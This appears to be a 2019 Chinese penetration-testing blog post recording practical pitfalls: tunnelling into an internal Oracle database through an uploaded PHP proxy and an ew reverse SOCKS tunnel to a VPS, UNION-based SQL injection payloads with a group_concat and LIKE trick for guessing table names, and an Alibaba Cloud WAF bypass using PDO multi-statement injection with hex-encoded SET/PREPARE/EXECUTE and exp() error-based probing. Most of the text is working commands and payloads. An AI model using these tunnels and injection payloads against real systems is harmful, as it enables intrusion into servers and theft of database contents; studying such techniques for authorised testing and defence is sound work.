渗透测试踩坑记录

Posted by sp4rk on March 5, 2019

0x00 前言:

晚饭后比较闲一点,思考了一下觉得有必要记录一些东西,于是想着把渗透过程中遇到的坑进行记录一下,主要是耗费时间较多的地方~ 留着自己以后当故事看咯。

0X01 数据库在内网的情况

过程: shell中把代码拖下来分析,找到了数据库的配置文件,但是数据库在内网,不允许外连。 解决: 可以通过navicat进行连接,走自带的HTTP隧道,shell中上传一个PHP的代理脚本就行了。

0x02 站库分离,数据库不能外链的情况

过程: 渗透过程中,拖取源码后,对网站的功能点进行分析,发现与数据库交互的地方和都是通过接口进行数据库的CURD操作,找到接口对应的数据库文件,发现存放在另一台机器的oracle数据库中。navicat尝试连接,发现报错: 我本地ping不通,telnet oracke端口也连接不了 解决: 最后在shell上发现可以ping通,于是走socks反向代理去连接数据库 shell中上传ew ,vps上弹个shell回来。 xshell新建窗口,在vps中监听2222和7777端口,

./ew_linux_i686 -s rcsocks -l 2222 -e 7777 &

shell中访问监听的7777端口。

./ew_linux_i686 -s rssocks -d shelip -e 7777

本地配置proxifier,socks5代理,端口2222

然后再去尝试连接oracle数据库,发现还是报错,不过这次是字符集的错误,说明数据库是能连接上的,只是编码问题的报错。

查了下ora12737错误,可以参考:ora12737 error, 网上说是服务器编码的问题,需要替换oci文件。这里尝试了,发现仍然报错,后面试了下英文版的navicat,发现也是报错。最后在shell里写了个脚本去把数据读出来,也算是解决了。

0x03 联合查询不能读information_schema的SQL注入技巧

过程: 渗透测试遇到一个注入点,可以联合查询,执行如下SQL语句:

xxxx.php?id=-1 and 1=2 union select 1,2,3,4,5,6%23  

显位在3,4,这里读取数据库

xxxx.php?id=-1 and 1=2 union select 1,2,database(),4,5,6%23

这里也能通过注入查database()。但是查表名的时候就没回显了,估计是没有权限

xxxx.php?id=-1 and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()%23

解决: 测试了一下发现,group_concat()函数里面跟一个数字可以显示,本地测试的过程如下:

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| tselect        |
| user           |
+----------------+
2 rows in set (0.01 sec)

mysql> select * from user where id=-1 and 1=2 union select 1,group_concat(1),3 from information_schema.tables where table_schema=database();
+------+------+----------+
| id   | user | password |
+------+------+----------+
|    1 | 1,1  | 3        |
+------+------+----------+
1 row in set (0.00 sec)

可以看到当显位在2的时候,group_concat(1),第2位有两个1显示,说明table_name是两个。 那么我们可以用like去逐个比较久行了,比如说查表名的操作:

mysql> select * from user where id=-1 and 1=2 union select 1,group_concat(1),3 from information_schema.columns where table_name like 'tselec%';
+------+------+----------+
| id   | user | password |
+------+------+----------+
|    1 | 1,1  | 3        |
+------+------+----------+
1 row in set (0.03 sec)

mysql> select * from user where id=-1 and 1=2 union select 1,group_concat(1),3 from information_schema.columns where table_name like 'tselect';
+------+------+----------+
| id   | user | password |
+------+------+----------+
|    1 | 1,1  | 3        |
+------+------+----------+
1 row in set (0.02 sec)

后续: 这里我有个疑问,information_schema数据库是公共视图,不知道为什么注入的时候读不出table_name? 换个思路,既然能测出账号密码了,就想登录后台看能不能把站搞下来,看下权限到底怎么配的,结果后台没什么功能,就到此为止了。。。

0x04 记录一次bypass阿里云waf

过程:站点主机在阿里云上面,url是这种样子

http://target.com/xxx/aaa?type=1&a=111&b=111

测试注入,发现经过括号闭合–可以进行注释,返回正常,说明可以拼接SQL语句,存在注入,这里试了网上的方法尝试去绕,都被拦截了。。。

aaa?type=1&a=111')+—+a&b=111

解决:

最后测试了下,确定为使用pdo进行多语句查询的时候存在注入的情况,用mysql用户自定义变量进行绕过。

pdo在没有设置禁止多语句的情况下,使用模拟预处理处理是可能造成注入的。

PDO::MYSQL_ATTR_MULTI_STATEMENTS = false (禁止多语句)

预处理模式分为1.模拟预处理:将处理完的SQL语句发送给mysql服务器,多语句的情况下可能造成注入,比如说下面user可控的时候引入多语句,造成注入。

select id,$_GET['user'] from users where username=?;
  ---->  user=from users; select password    

2.非模拟预处理:发送sql语句模板到数据库,通过excute发送占位符到数据库进行处理(参数化绑定,先发送带占位符的sql语句,再发送占位符参数给mysql数据库执行)

预处理语句通过下面的语句对mysql进行处理

preparestmt_name  from  preparable_stmt;
executestmt_name[using @var_name[, @var_name] ...];
preparestmt_name;

再来看站点的sql注入,构造payload

SET+@SQL=hexencode(需要传入的语句);PREPARE+xxxx+FROM+@SQL;EXECUTE+xxxx;+–+a

@SQL传入布尔查询语句(查询布尔条件为正确与错误那个字段都是返回的空,所以引入exp进行报错,错误的情况下是返回500)

mysql> select if(1=2,1,exp(1024));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(1024)'